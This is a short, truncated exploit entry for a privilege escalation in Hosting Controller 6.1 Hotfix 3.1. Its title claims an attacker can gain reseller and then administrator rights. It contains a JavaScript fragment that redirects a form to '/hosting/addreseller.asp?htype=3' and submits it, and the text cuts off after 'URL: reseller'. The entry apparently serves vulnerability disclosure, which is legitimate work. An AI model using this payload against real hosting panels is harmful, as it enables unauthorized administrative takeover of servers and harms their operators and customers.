Hosting Controller 6.1 Hotfix 3.1 - Privilege Escalation

Title: An attacker can gain reseller privileges and after that can gain admin privileges Version: 6.1 Hotfix function siteaction nact= "/hosting/addreseller.asp?htype=3" window.document.all.frm1.action = window.document.all.siteact.value + nact window.document.all.frm1.submit Form1 URL: reseller...